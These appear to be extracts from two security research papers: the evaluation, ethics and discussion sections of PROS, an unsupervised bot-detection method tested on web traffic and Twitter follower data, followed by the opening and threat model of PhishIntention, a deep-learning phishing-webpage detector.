account detection system [39]).

Generating a Receiver Operator Characteristic (ROC) curve
requires labels for all samples. Given labels for only a por-
tion of the positive samples we can however bound the ROC
curve. Since we have labels only for a portion of the positives
(and count everything else as negative) we under-estimate the
‘True’ counts (i.e., T P and T N) and over-estimate the ‘False’
counts (i.e., FP and FN). We denote these available counts
as T P

′
etc to distinguish them from the actual counts T P etc.

Thus, a plot of

t
′
p = T P

′
/(T P

′
+FN

′
) versus f

′
p = FP

′
/(FP

′
+T N

′
)

will always be below and to the right of the ROC (since tp ≥ t
′
p

and fp ≤ f
′
p).

Using the conditional independence rules above we run Al-
gorithm 1 to generate the clean distributions for browser,
family, path and status and Algorithm 2 to generate
rules. The dataset is too small to allow accurate per-country
estimates for the features status, path and family or per-
family estimates of browser except for Chrome and Firefox.
To compensate we compute global estimates of the former
(i.e., lump traffic from all countries together) and compute
browser estimates only for Chrome and Firefox. Since we
expect distributions of family, path and status to be rel-
atively time-invariant we ran over the entire dataset. When
seeking clean distributions of status and path we conjoined
browser and week, so that Algorithm 1 sought unattacked
bins over a much larger set. As for browser, since its clean
distribution evolves we estimate its clean distribution, and
generate rules, over one year blocks (with sufficient traffic it
would be advisable to re-estimate browser distribution much
more regularly, e.g., daily). Only Chrome and Firefox had
sufficient traffic to allow us to estimate the distribution of ver-
sions. Thus, we calculated one ruleset using browser, path
and status for Chrome and Firefox traffic and another rule-
set using family, path and status for all other traffic. The
calculated rules allow us to associate a likelihood of being
bot with every request.

Figure 1 shows our results. The solid line is the lower bound
for the ROC curve (i.e., on the available labels); the Area
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Under Curve (AUC) is 0.877. For comparison we show the
performance of an Isolation Forest classifier using family,
path and status (using the sklearn implementation and
one-hot encoding to map categorical variables to numeric).
Clearly, Isolation Forests struggle to do better-than-random;
the AUC is 0.532. As explained in Sections 2 and 3 Isolation
Forests work well on numeric features, but struggle when
categorical features are one-hot encoded to numeric.

Thus, PROS significantly outperforms Isolation Forests.
However, at low “false positive” rates (e.g., f

′
p < 0.05) it

appears to do poorly. A possible reason is that we have la-
bels only for some of the positives: it’s likely that there is
scripted activity not captured by the three groupings we de-
tailed above. Obviously it is difficult to achieve low “false
positive” rates when an unknown fraction of positives are
actually mis-labelled as negatives.

Sorting rulesets by bot likelihood allows us to identify clus-
ters of bot activity. For example, if we sort the browser ruleset
a clear pattern that appears is certain out-of-date browsers
from major browser families being used for bot activity. For
example, Firefox40.1 accounts for 34.7% of all Firefox traffic
in the dataset even though it was superseded in September
2015; Chrome34.0.1847 accounts for 18.0% of all Chrome
traffic in the dataset even though it was already six major
versions out-of-date by the earliest date in our dataset.

While bots often seem to use legacy versions of major
browsers it would be hasty to conclude we can block all
such traffic. For example, Chrome49.0.2623 also accounts for
significant traffic long after it was superseded, but does not
feature as having high bot likelihood in our browser rulesets.
Upon investigation it emerges this was the last version of
Chrome supported on Windows XP; so this is likely legitimate
traffic from old systems that can’t update.

7 Evaluation on Twitter dataset

Twitter exposes an API that allows downloading certain in-
formation about individual accounts and about tweets [2].
It allows retrieval of information such as the screen_name,
name, profile description, creation date, numbers of accounts
followed, number of followers, number of tweets liked, most
recent tweet, etc.

The API is throttled, so that the amount of data that can
be downloaded is very restricted. The list of id’s of followers
of an account can be downloaded at a rate of about 5000
per minute; the details of those follower accounts can be
downloaded at a rate of about 100 per minute.

To study an account we do not need a list of all of the
followers, a sample probably suffices. Unfortunately the API
does not provide a sampling mechanism. Hence, for a target
account, we first download the entire list of follower id’s, and
then uniformly at random select a subset of its followers to
download. Since the follower list for a single account with
10 million followers would take about 33 hours to download

we restricted our attention to accounts that have 3 million
followers and below. For example, to sample 20k followers
of an account with 500k followers takes approximately 60×
(500/5+20/0.1) = 300 minutes or 5 hours.

In addition, the Botometer project at Indiana University
[17] exposes an API that calculates their estimate that a Twit-
ter account is bot. As the most accessible benchmark we
compare our estimates against those from Botometer, as well
as against Isolation Forests.

7.1 Dataset
Our dataset is a convenience sample acquired between January
10 and May 5 of 2021. It contains 159 target accounts; for
each target we downloaded profile information on a uniform-
at-random sample of its followers. In all we gathered the
profile details of 5.1 million Twitter accounts; i.e., an average
of 32k followers per target.

We chose target accounts by searching Twitter for key-
words ‘election fraud’, ‘brexit’, ‘vaccine choice’, and ‘climate
hoax’ and selecting the first accounts that matched our cri-
teria of follower count between 20k and 3 million. For each
of these chosen targets we downloaded the entire list of fol-
lowers, selected at least 20k followers (uniformly at random)
and downloaded the details of those accounts. We also added
a small number of target accounts (e.g., @USENIXsecurity,
@SuezDiggerGuy) to check that the clean distributions found
are robust and not particular to the topics covered by the
selected target seed accounts. We also added two target ac-
counts acknowledged to have purchased bot followers (see
Section 7.2.1). Our goal is simply that the dataset contain
some non-trivial mixture of legitimate and abuse accounts.
We emphasize that we make no claim that this dataset is in
any way representative of the overall Twitter population.

We revisited all 159 of the target accounts on June 2,
2021. Of the 159 five had been suspended with a notice
reading “Twitter suspends accounts which violate the Twitter
Rules.” This differs from the notice if an account is closed,
and presumably indicates problematic behavior. Ranking the
accounts from highest to lowest estimated bot follower-ship
the five suspended target accounts were in positions #2, #23,
#27, #41 and #61.

In addition to the retrieved features we derive from them
certain others that are useful. In particular we will use
pattern, year, monthyear, and client.
Pattern: a mapping of the account screen_name that maps
lower-, upper-case, digits and special characters to ‘l’, ‘U’, ‘d’
and ‘s’ respectively. With the exception of ‘d’, consecutive
runs of the same character in the mapping are collapsed to
a single instance. Thus, ‘JohnDoe78’ maps to ‘UlUldd’ and
‘johndoe78’ maps to ‘ldd.’ This mapping is a minor modifica-
tion of the one used by Xiao et al [38].
Bins: we find it useful to define certain binary features.
noLocn, noDesc and noPic indicate empty location and de-
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Figure 2: Clean distributions for pattern and client estimated by Algorithm 1. Observe that in each case we have d = 6
buckets giving very similar marginal distributions. That is, P(x j|bm) ≈ P(x j|bn) where bm,bn ∈ bbb and bbb is the set of buckets
listed in the graph legend. Each marginal is α ·Clean+(1−α) ·Abuse. Section 5.1 explains why identical marginals implies that
we have found the clean signal (i.e., α≈ 1).

scription fields and if the account has a default profile picture.
noStat indicates that the account has zero tweets. In addi-
tion we form a composite feature Bins by conjoining all
four. For example, True, False, True, False would indicate
empty location and default profile picture but a non-empty de-
scription and that the account has tweeted at least once. This
Bins feature is conjoined with others in the set of conditional
independence relations below.

The set of conditional independence relations we assume
are as follows:

pattern ⊥ {targetBin,clientBin,yearBin},
monthyear ⊥ {patternBin,clientBin, targetBin},

client ⊥ {targetBin,patternBin,yearBin},
year ⊥ {clientBin,patternBin}.

Note that clientBin, patternBin, targetBin etc re-
fer to conjoining the client (resp. pattern, target) fea-
ture with the four binary features noLocn, noDesc, noPic,
noStat which indicate, respectively, that the location, descrip-
tion, picture fields are empty or that the account has never
tweeted.

Using these conditional independence relations we run
Algorithm 1 to find the clean distributions of pattern,

monthyear, client, ratio and year. Figure 2 shows the
resulting clean distribution for pattern and client. Figure 2
(a) indicates that a cluster of d = 6 buckets among targetBin
and clientBin were found to have co-linear marginals. Fig-
ure 2 (b) indicates that a cluster of d = 6 buckets among
patternBin, yearBin and targetBin were found to have
co-linear marginals.

7.2 Measurements

We present the following analysis of Twitter data to allow
evaluation of the algorithm and to corroborate that it finds
bot-like activity. We wish to emphasize, however, that this is
not primarily a paper about Twitter or social-media bots. The
rulesets we construct are limited by the features accessible
through the API. The throttling of the API makes generating a
larger dataset and/or including activity information about the
accounts impractical. We wish to be clear that we do not claim
to outperform algorithms that have access to graph, connectiv-
ity and activity information. Our goal is simply to demonstrate
efficacy of the approach. Nonetheless, we achieve comparable
performance to Botometer [17], even though our approach is
generic rather than specific to social-media bots and we use a
more limited set of features.
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7.2.1 Accounts known to have bot followers

We obtained the Twitter handles of two accounts from indi-
viduals who acknowledged purchasing followers (see Section
7.3 for a discussion of ethical considerations). They did so
in a discussion group (on a non-Twitter platform) dedicated
to building social media engagement. After contacting them
on a private messaging channel they were willing to share
the Twitter handles with us, and the dates and size of the
purchased blocks. They did not indicate whether they owned
these accounts or were acting on behalf of others.

This gives us a source of labels to check efficacy. These are
Acct_80 and Acct_159 in our dataset. Of Acct_80’s follow-
ers ≈ 65% were purchased; of Acct_159’s ≈ 60% were pur-
chased. Since both accounts would have had organic growth at
the same time as bot followers were being added we took our
bot samples as the first 1k followers of the account (i.e., be-
fore purchases were a factor) and our bot samples as the first
1k followers beginning after the largest purchase event (e.g.,
Acct_80’s bot followers were purchased in several different
blocks). As a verification step, we manually examined 30 pos-
itive and 30 negative samples for both accounts; the positive
samples exhibited considerably lower levels of engagement
with the target account’s content.

We created a ruleset with features target, pattern,
client and year. In the creation of this ruleset Algorithm
2 would have used the clean distributions of pattern and
client shown in Figure 2. Using the odds estimated by Algo-
rithm 2 and the labels from our positive and negative samples
we analyze Acct_80 and Acct_159.

Figure 3 shows ROC curves for these two accounts. In
both cases we identify almost half of the true positives at a
very low false positive rate. This indicates that half of the
bots are easily separated from organic accounts, but things
become progressively more difficult thereafter. The curves
produced by Botometer [17] and Isolation Forests (using one-
hot encoding) are also shown.

For Acct_80 the AUCs for PROS, Botometer and Isolation
Forests were 0.795, 0.792, 0.657 respectively. While PROS
and Botometer have similar AUCs note that our approach
outperforms Botometer when the false positive rate is low.
For consumer services, a low false positive rate is often con-
sidered mandatory: blocking legitimate users has a serious
effect on user-experience, so operating at fp < 0.01 may be
required. On this basis PROS outperforms Botometer. Ob-
serve that Isolation Forests struggle to do better than random.
For Acct_159 the AUCs for the three approaches were 0.811,
0.708 and 0.531. Again, observe that PROS does better than
Botometer when fp is low. In the interest of fairness we point
out that, since it uses account-activity features, the compari-
son with Botometer is not like-to-like. When an account has
no activity Botometer has no basis for judgement, and thus is
at a disadvantage.

Note that Xu et al [39] describing abusive account detection

Target Pattern Client Year Count Odds Btmtr
Acct_8 ldd Mobile Web (M2) 2013 404 692.85 0.93
Acct_8 other Mobile Web (M2) 2013 381 391.03 0.88
Acct_74 l Mobile Web 2009 189 165.61 0.81
Acct_74 other Mobile Web 2009 110 110.31 0.86
Acct_74 l Twitter Web Cl. 2009 3383 100.40 0.79
Acct_12 Ul None 2012 1208 73.14 0.81
Acct_8 other -1 2012 625 72.56 0.84
Acct_46 Uld None 2016 842 68.57 0.88
Acct_74 ldd Twitter Web Cl. 2009 547 64.17 0.80
Acct_46 UlUld None 2016 1512 63.86 0.82

Table 2: Example ruleset using features target, pattern,
Client and year sorted in descending order of bot-likelihood.
Thus, followers of Acct_8 with screen_name patterns ‘ldd’
whose last tweet was sent using ‘Mobile Web (M2)’ and were
created in 2013 are estimated to have a 692:1 odds of being
bot and a fraction 0.93 of them are estimated to be bot by
Botometer [17].

at Facebook report achieving AUC of 0.89. While the details
are very different and we do not claim to rival their system,
their results offer good calibration on the state-of-the-art.

7.2.2 Account clusters with randomized screen_names

We again use the ruleset generated in Section 7.2.1 (i.e.,
with features target, pattern, client and year) over
the whole dataset. We show a few rows of the output rules
in Table 2. We also include a column that gives the median
Botometer score for accounts covered by the rule. This can
be thought of as the estimated fraction of accounts covered
by the rule that Botometer estimates to be bot. Note that there
is good agreement: where our method predicts high odds of
being bot, Botometer largely concurs.

We inspected accounts covered by the rules with the high-
est odds. Many stood out as revealing additional structure
indicative of automated creation. For example, the first line of
Table 2 covers accounts with pattern ‘ldd’ following Acct_8
that were created in 2013 and whose last tweet used ‘Mo-
bile Web (M2)’ as client. This rule covers a total of 4.7k of
the followers of Acct_8 of which we had 404 in our sample
dataset (i.e., the dataset contains 30k of Acct_8’s 350k fol-
lowers). Upon inspection all of these accounts appeared to
have screen_names that were a last name followed by two
apparently random lower-case letters and two apparently ran-
dom digits. A sample of the last names is ‘colwell’, ‘nichel-
son’, ‘fischbach’, ‘langston’, ‘whistler’; a sample of the suf-
fixes is: ‘un33’, ‘ot68’, ‘eq79’, ‘zo99’, ‘iq05.’ To test the
hypothesis that these suffixes are random we compared the
empirical distribution of the last characters with a uniform
distribution of digits. The observed frequency of digits 0-9
were (38,42,36,48,35,36,38,43,42,46) while under a uni-
form distribution we would expect 40.4 in each bin. Thus the
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Figure 3: ROC curves for two accounts with acknowledged purchased bot-followers (see Section 7.3 for a discussion of ethical
considerations). We took collections of 1k followers before and during the purchase periods as our negative and positive samples.
Observe that our approach outperforms Botometer [17] at low false positive rates, but does worse thereafter, and easily beats
Isolation Forests. Note that PROS and Isolation Forests are using only features available from account profiles (e.g., target,
pattern, client and year) while Botometer uses account activity. Further, our approach is not specific to Twitter or social
media bots: it is a generic unsupervised method applicable to a wide range of problems. For Acct_80 the AUCs for PROS,
Botometer and Isolation Forests were 0.795, 0.792, 0.657 respectively and for Acct_159 were 0.811, 0.708 and 0.531.

goodness-of-fit to uniform is very good. A chi-square test con-
firms that the null-hypothesis (of uniform distribution) is not
refuted. Similarly, we also compare the observed distribution
of second-to-last character with a uniform distribution of dig-
its, and compare the third- and fourth- to last characters with
uniform distributions of the lowercase letters. In each case the
fit to uniform is excellent and a chi-square test corroborates
uniformity.

This effectively guarantees that accounts captured by this
rule were generated by a script. It is well-known that distribu-
tions of digits chosen by humans (in passwords and usernames
etc) are very far from uniform [6]. It is implausible that 404
humans acting independently choose screen_name suffixes
drawn uniformly from the available characters.

Many other clusters of accounts captured by rules with high
odds revealed structure. For example, accounts with pattern
‘Ul’ following Acct_12 whose last tweet had ‘None’ as client
(i.e., line six of Table 2) appeared to have screen_names that
were a first name followed by five apparently random lower-
case letters. A sample of the first names is ’Eugene’,‘Freida’,
‘Norma’, ‘Janette’, ‘Madeline’; a sample of the suffixes is ‘gn-
bjs’, ‘xhdke’, ‘ffbej’, ‘cdfqa’, ‘jezdk’. Again, a chi-square test
suggests that the last five characters of the 1208 screen_names
covered by this rule are uniformly distributed. Again, we point
out that this effectively guarantees that they were not produced
independently by 1208 humans.

7.2.3 Abnormal follower creation patterns

We created a simple ruleset with features target and
monthyear. This produces, for each target, a month-by-month
likelihood that follower accounts created that month are bots.
In sorting this list in descending order of odds we found that
certain targets had extremely high odds in some months (sug-
gesting the majority of their followers created in those months
were bot). Figure 4 shows examples of accounts that showed
high likelihood of having bot followers (as well as two normal
accounts for reference). Note that the distribution of follower
creation dates is very different from the distribution of dates
on which followers started following.

For reference Figure 4(a) and (b) show the distribution
of creation dates of followers of @USENIXsecurity (i.e.,
the Twitter account of the Usenix Security Symposium) and
@SuezDiggerGuy (a parody account purporting to represent
the operator of the mechanical digger attempting to free a
ship stuck in the Suez canal in March 2021). While the topics
covered by @USENIXsecurity and @SuezDiggerGuy have
little in common it can be seen that the distribution of cre-
ation dates is broadly similar (and to the clean distribution of
monthyear found by Algorithm 1 (not shown)). The distribu-
tion of creation dates for @SuezDiggerGuy shows that there
is little support for the view that surges in interest in a topic
translate into bursts in the distribution of follower creation
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dates. The @SuezDiggerGuy account was created in March
2021 and interest was concentrated in the seven day period of
the blockage.

7.3 Ethical considerations

We first discuss the main Twitter dataset, used in Sections
7.2.2 and Section 7.2.3 (i.e., excluding the two targets studied
in Section 7.2.1). Since all of the information on these 157
targets is publicly visible and we do not identify any indi-
viduals we did not seek Institutional Review Board approval.
That is, all fields that we use are globally visible even to
those who do not have Twitter accounts. To mitigate possible
harm or embarrassment to individuals we do not identify any
of the individual accounts involved directly. We replace ev-
ery individual target Twitter handle with a unique identifier
(e.g., ‘Acct_27’). Exceptions are those belonging to organi-
zations (e.g., @USENIXsecurity) or parody accounts (e.g.,
@SuezDiggerGuy) where there is no risk of revealing infor-
mation that might be harmful to an individual.

Microsoft has detailed internal guidelines on how Person-
ally Identifying Information (PII) should be handled. Even
though all fields in our dataset are publicly visible we adhered
to those PII guidelines. These include that data is encrypted
at rest, is stored on a Bitlocker-enabled machine and that only
those with need have access; as a result at no time did anyone
other than the author have access.

We discuss the data from the two targets studied in Section
7.2.1 next. Purchasing bot-followers would offer a simple
source of labelled data, but since doing so violates Twitter’s
Terms of Use we did not pursue this avenue. However, in a
public forum that deals with building social media follower-
ship we encountered several individuals who openly discussed
their experiences purchasing followers for Twitter, Instagram,
Youtube and TikTok accounts. After contacting them, two of
these individuals shared the Twitter handles of accounts for
which they had purchased followers. These are the Acct_80
and Acct_159 that we used for evaluation.

We did not seek IRB approval before contacting these in-
dividuals. In retrospect, this was a mistake: seeking IRB ap-
proval or exemption might have identified risks. These risks
include that the identity of the accounts might be established:
either directly from data that we stored, or from what we pub-
lish or otherwise reveal. On the first of these risks we reiterate
our compliance with the Microsoft PII handling guidelines,
and emphasize that the dataset does not contain any profile
information, tweets, retweets, likes, follows or other activity
information about any of the target accounts: it contains infor-
mation only about followers. Hence Twitter handles, names,
account ID’s, etc of Acct_80 and Acct_159 do not appear in
the dataset. A file that maps target Twitter handle to Acct_XX
strings is stored separately, also complying with PII guide-
lines; we have deleted the entries for Acct_80 and Acct_159
in this file. We committed not to publish the Twitter handles,

Followers Description
Acct_94 2.4m Fox News TV host
Acct_15 2.4m Conservative TV and radio host
Acct_74 200k Economic inequality activist
Acct_49 50k Anti-vaccine account
Acct_48 300k Fitness and alternative lifestyle
Acct_22 300k Prominent anti-Brexit account
Acct_34 2.4m Fox News TV host
Acct_2 300k Writer for theAtlantic
Acct_128 350k Writer for Washington Post
Acct_23 200k Brexit/EU affairs journalist
Acct_12 280k Conservative commentator
Acct_8 350k Entrepreneur and ‘thought leader’
Acct_29 280k MSNBC host

Table 3: Brief description of some of the accounts mentioned.

or information that would allow them to be easily determined.
Thus, we avoid giving details such as join date, nature of
the account, etc; we don’t include a chart of follower create
dates (such as in Figure 2) which might act as a signature.
Obviously we are obliged to refuse any queries that might
de-anonymize these accounts.

Finally, we did not pay or offer to pay either individual.
In contacting them we disclosed our identity and affiliation;
we made clear that our intent was publication of our analysis
and improvement of bot detection technologies. In each case
the only information we obtained was the Twitter handle, the
number of followers purchased, and the date.

8 Discussion

Identifying clusters: The human-interpretable rules that
PROS outputs allow us to identify clusters of bot activity,
which helps with evaluation. Individual requests from a legacy
version like Chrome34.0.1847 might not seem strange, but
accounting for 18.0% of Chrome traffic years after being
superseded (as found in Section 6) seems too much for coin-
cidence. A single user with a Twitter screen_name suffix with
two random lower-case letters and two random digits is not
remarkable, but 4.7k of them, all created in 2013, all using
the same client, and all following the same account (as found
in Section 7.2.2) is powerful evidence of co-ordinated activity.
Similarly, when 82% of an account’s 200k followers have
creation dates in a single four-month period (as found in Sec-
tion 7.2.3) it is hard to reconcile with the view that these are
the results of independent actions. Identifying clusters with
related properties or behavior has been exploited by many bot
detection approaches [11, 13, 35, 36, 38, 39].

Limitations: We point out two limitations of PROS: a) it
needs a lot of data, b) the base rate of abuse must be high
enough to exceed the confidence intervals around our esti-
mates of the clean distributions.
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Figure 4: Two accounts with expected and five with unexpected distributions of follower creation dates. See Table 3 for a
description of anonymized accounts. (a) Followers of @USENIXsecurity. (b) Followers of @SuezDiggerGuy. The fact that
@SuezDiggerGuy and @USENIXsecurity have similar distributions suggests that surges of interest do not lead to surges in
follower creation dates. (c) More than 82% of the 200k followers of Acct_74 joined in the four month period Oct. 2009 to Jan.
2010. (d) Near-identical volumes of followers in a three-month period in 2016 are 25× higher than the same months in 2015 for
this Fox TV host. (e) Fewer than 4% of followers of this active anti-vaccine account were created later than June 2013. (f) More
than 70% of followers of this Washington Post political writer were created between Aug. 2015 and May 2016. (g) More than
16% of followers of this MSNBC correspondent were created in a single month.

1630    31st USENIX Security Symposium USENIX Association



First, recall that we estimate the clean distribution of x j
using (7): that is we restrict to the unattacked buckets µµµ(λλλ(x j))
of features conditionally independent of x j. We are thus using
a small portion of the data to estimate clean. If x j is browser
version, one of the elements, xk, of λλλ(x j) might be state and
if µµµ(λλλ(x j)) = {Iowa, Georgia, Oregon} then the confidence
intervals we can expect in our estimate of P(x j|bot) depends
on the collective amount of data from those states.

Second, observe that we identify abuse traffic using (8).
This punishes abuse traffic when the observed traffic (i.e.,
clean + abuse) exceeds what we expected (from our estimate
of clean). This requires that the volume of abuse traffic is
large enough to exceed the confidence intervals around our
estimates of clean. The more data we have the tighter our
confidence intervals will be; however very small amount of
abuse will be hard to distinguish from random fluctuation.

Avoidance mechanisms: The significant assumptions of
PROS are that our conditional independence relations hold,
and that abuse traffic does not precisely match clean. Once
clean distributions are found PROS punishes statistically sig-
nificant deviations. The independence relations are proper-
ties of the benign traffic: nothing that attacker can do affects
whether we chose correctly. Thus, the main avoidance mech-
anisms require sending abuse traffic that resembles clean as
much as possible.

Bot detection as frontend to analytics: The utility of de-
tecting bot traffic is not limited to making block/no-block
decisions. Traffic analysis is important to understand how
a service is used and to evaluate potential changes. Obvi-
ously, it is hard to have confidence in judgements if the hu-
man traffic we wish to analyze is contaminated by unknown,
and wildly fluctuating, amounts of scripted traffic. Scenar-
ios where we wish to improve the quality of data input may
have very different expectations of a classifier than one that
will block customer traffic. For example, an operating point
of (tp, fp) = (0.8,0.05) would be unacceptable for most con-
sumer services (i.e., falsely blocking 5% of benign customer
requests) but delivers an excellent SNR boost prior to data
analysis.

9 Conclusion

We have described a method to identify abuse in traffic. Our
approach hinges on the observation that if we can identify
bins of a feature x j that receive no attack traffic then we
can estimate the benign distribution of any feature that is
independent of x j. The key contribution is to show how these
unattacked bins can be located simply and reliably.
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Abstract

Explainable phishing detection approaches are usually
based on references, i.e., they compare a suspicious web-
page against a reference list of commonly targeted legitimate
brands’ webpages. If a webpage is detected as similar to any
referenced website but their domains are not aligned, a phish-
ing alert is raised with an explanation comprising its targeted
brand. In comparison to other techniques, such explainable
reference-based solutions are more robust to ever-changing
phishing webpages. However, the webpage similarity is still
measured by representations conveying only partial intentions
(e.g., screenshot and logo), which (i) incurs considerable false
positives and (ii) gives an adversary opportunities to compro-
mise user confidence in the approaches.

In this work, we propose, PhishIntention, to extract precise
phishing intention of a webpage by visually (i) extracting its
brand intention and credential-taking intention, and (ii) inter-
acting with the webpage to confirm the credential-taking in-
tention. We design PhishIntention as a heterogeneous system
of deep learning vision models, overcoming various technical
challenges. The models “look at” and “interact with” the web-
page for its intention, which are robust to potential HTML
obfuscation. We compare PhishIntention with four state-of-
the-art reference-based approaches on the largest phishing
identification dataset consisting of 50K phishing and benign
webpages. For similar level of recall, PhishIntention achieves
significantly higher precision than the baselines. Moreover,
we conduct a continuous field study on the Internet for two
months to discover emerging phishing webpages. PhishIn-
tention detects 1,942 new phishing webpages (1,368 not re-
ported by VirusTotal). Comparing to the best baseline, Phish-
Intention generates 86.5% less false alerts (139 vs. 1,033
false positives) while detecting similar number of real phish-
ing webpages. Our models and code are available at https:
//github.com/lindsey98/PhishIntention.git.

∗Corresponding author

1 Introduction

Phishing attack, one of the most common cyber attacks, causes
huge financial losses every year [15]. The attacks and their de-
fenses span across webpages [10,11,20,41,71], emails [29,30,
38,59], and mobile applications [47,48]. Existing phishing de-
tection techniques can be categorized into blacklist-based [8,
51, 52], classification-based [17, 37, 39, 40, 46, 60, 62, 69], and
referenced-based solutions [10, 11, 23, 41, 49, 57, 64].

Blacklist-based solutions such as Google Safe Brows-
ing [2, 8] and OpenPhish [6] use dynamic blacklists to track
reported phishing URLs. In contrast, classification-based so-
lutions [24, 40, 46, 62, 69], trained from a collected phishing
dataset, perform binary predictions on phishing using the
features extracted from a given webpage and its URL. De-
spite showing promising results in experiments, empirical
study shows that they have limited performance on the ever-
changing webpages in the wild [41]. The challenge is that the
blacklists and collected phishing webpages used for training
become obsolete very quickly [52]. Even worse, phishing kits
keep evolving [21, 27, 53, 54] and their creation is typically
automated [21], resulting in a never-ending cat-and-mouse
game between phishing attacks and defenses that are based
on blacklists/classification.

Reference-based phishing detection solutions are devel-
oped based on the intuition that, the key goal of a phish-
ing attack is to deceive users with pages visually similar
to legitimate websites. Thus, various reference-based solu-
tions [10, 11, 16, 23, 41] are designed for detecting the invari-
ants of phishing attacks, since a phishing webpage should be
semantically similar to its targeted benign webpage. These
approaches keep a list of references (e.g., screenshots, logos,
etc.) representing well-known target websites (e.g., that of
PayPal). Given a webpage Wp, (i) if the representation of
Wp is similar to that of a target webpage Wtar, (ii) but the
domain of Wp is different from the legitimate domain of Wtar,
Wp is reported as suspicious and its target brand provided as
an explanation. For instance, if a webpage has a screenshot
similar to that of the PayPal webpage, but its domain does
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(a) PayPal login webpage. (b) AT&T login webpage. (c) A webpage disguising as PayPal.

Figure 1: Challenging examples for VisualPhishNet [10]: It matches Figure 1a and Figure 1b with high confidence despite they
being different brands. In contrast, it cannot match Figure 1a and Figure 1c although they carry the same brand intention.

not align with PayPal’s domain (e.g., paypalverifysms.com
instead of paypal.com), a phishing alert is raised. Existing
approaches use screenshots [10, 23] and logos [11, 16, 41]
as the reference representations of target websites. However,
they convey only partial intention of a phishing webpage,
leading to false or missing alerts.

Screenshots as a reference do not perfectly capture brand
intention, i.e., the intention indicating the company owning
the webpage, since they contain many irrelevant details (e.g.,
pixel colors, embedded advertisements, etc.). Figure 1 shows a
webpage wrongly reported by VisualPhishNet [10], which em-
ploys a deep learning model to compare the similarity of two
screenshots. When VisualPhishNet finds a webpage’s screen-
shot similar to that of a referenced webpage, it concludes that
they convey the same webpage semantics. However, Figure 1a
(reference page) and Figure 1b look similar, but convey dif-
ferent brand intentions. In contrast, Figure 1a and Figure 1c
appear dissimilar, but convey the same brand intention (i.e.,
PayPal). Such visual challenges leads to both false positives
and false negatives in VisualPhishNet (see Section 6).

Logos as a reference miss to capture credential-taking inten-
tion, i.e., the intention requiring a user to provide credentials.
Figure 2 shows a false positive reported by Phishpedia [41], a
deep-learning based approach which detects identity logo on
a screenshot and compares it with logos in the reference list.
In Figure 2, Phishpedia reports a benign webpage as phishing
because it assumes that logos capture the full semantics of the
webpage. As shown in Section 8, many webpage semantics
can hardly be captured by logos alone. Benign webpages may
refer to the big social media companies (e.g, Facebook) for
login and registration via single sign-on method, article shar-
ing, or advertisement promotion. We term such webpages as
misleading legitimacies, which share plausibly similar brand
intention to some target company. They pose a challenge for
logo-based approaches. More importantly, an adversary can
collect and disseminate misleading legitimacies to compro-
mise user confidence in such solutions. Once users abandon
the solution because of the false alerts, attackers can launch a
new round of phishing campaigns.

Phishing pages are generally set up with credential-taking
intention in various forms. Table 1 shows the general distri-
bution and taxonomy of the 29,496 phishing webpages used

Figure 2: A false positive reported by Phishpedia; it reports
the webpage as phishing Instagram, based on the logo on the
top-right.

Table 1: Distribution and taxonomy of phishing webpages
regarding the credential-taking intention. CRP stands for
credential-requiring page.

# CRP phishing # non-CRP phishing TotalLinked to
CRP

Non-textual
credential

False
positive

25403
(86.1%)

3,310
(11.2%)

704
(2.4%)

79
(0.3%)

29,496

in [41]. Overall, 86.1% of the webpages require credentials
directly. For the remaining phishing webpages (i.e., 13.9%),
11.2% of the pages contain a link to a login/signup webpage,
and 2.4% of the pages require sophisticated interactions such
as scanning a QR code, solving a CAPTCHA, etc.

In this work, we propose PhishIntention, to precisely ex-
tract both brand and credential-taking intentions. Given a
webpage, we design PhishIntention to infer (i) what brand
information it represents, (ii) whether and how it requests user
credential, and (iii) whether clicking certain button/menu on
the screenshot can lure the users to provide their credentials.
PhishIntention carries out both static and dynamic analyses
to capture webpage intentions. Given a webpage, the static
analysis extracts the brand and credential-taking intentions
from the appearance of a webpage. Both intentions will be
highlighted on the screenshot of a detected webpage (see
Figure 10). The dynamic analysis further interacts with the
webpage to verify whether it lures users to input credentials
via its linked pages. Compared to state-of-the-art login form
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detection techniques based on HTML analysis [22], PhishIn-
tention uses computer vision technique to detect and interact
with the webpage, which is more robust against HTML ob-
fuscation (see experimental results in Section 8).

Technically, PhishIntention first extracts the abstract lay-
out of a webpage screenshot consisting of all its salient UI
components. Based on the layout, PhishIntention (i) selects
the identity logo to identify its potential brand intention, and
(ii) classifies the layout to recognize whether the webpage
requires user credential, i.e., whether it is a CRP (credential-
requiring page). PhishIntention predicts which UI component
in a non-CRP may link to a CRP. By emulating user clicks on
the webpage, PhishIntention retrieves and conducts further
static and dynamic analysis on the new webpages.

We conduct extensive experiments to evaluate PhishInten-
tion on a dataset of over 50K phishing and benign webpages.
The experimental results show that PhishIntention signifi-
cantly outperforms existing solutions such as VisualPhish-
Net [10], EMD [23], PhishZoo [11], and Phishpedia [41], in
terms of detection capability and false-positive rate, by ac-
curately recognizing brand and credential-taking intention
of a webpage. Moreover, our experiments also demonstrate
that PhishIntention is much more robust against misleading
legitimacies and HTML obfuscation attack. Furthermore, we
carry out a field study on the Internet for two months; PhishIn-
tention discovered 1,942 new phishing webpages (including
1,368 not reported by VirusTotal). Comparing to the best base-
line [41], PhishIntention generates 86.5% less false alerts (139
vs. 1,033 false positives) while detecting ∼6% less phishing
webpages (1,942 vs. 2,071 true positives).

In summary, we make the following contributions:

• We propose a referenced-based phishing detection system
that captures both brand intention and credential-taking
intention. To the best of our knowledge, PhishIntention is
the first work which analyzes both intentions in a systematic
way for phishing detection.

• We address various technical challenges in detecting the
intentions by orchestrating multiple deep learning mod-
els. By design, PhishIntention is robust against misleading
legitimacies and HTML obfuscation attack.

• We conduct extensive experiments to evaluate PhishInten-
tion. The experiments evaluate the overall and step-wise
effectiveness, robustness against various adversarial attacks,
and usefulness in practice.

• We implement PhishIntention with a phishing monitoring
system. PhishIntention reports phishing webpages per day
with the highest precision as compared to the state-of-the-
art phishing detection solutions.

2 Threat Model

An attacker deploys an online phising webpage Wp disguis-
ing as the credential-requiring webpage (e.g., login or signup
webpage) of a legitimate website Wtar (e.g., PayPal, Face-
book, etc.). A user browsing Wp may be deceived to provide
his/her credentials of website Wtar in Wp. A solution needs
to detect such phishing attacks while being robust against the
following adversaries:
Misleading Legitimacy. Targeting reference-based solutions,
an attacker can collect and disseminate legitimate webpages to
users, causing the phishing detection system to generate false
alerts. Such webpages can share plausible brand intention
(e.g., having the same logo) with some well-known companies
(e.g., Google and PayPal). By disseminating such misleading
legitimacies to trigger false alerts, attackers can compromise
user confidence in the solution, which lays the foundation
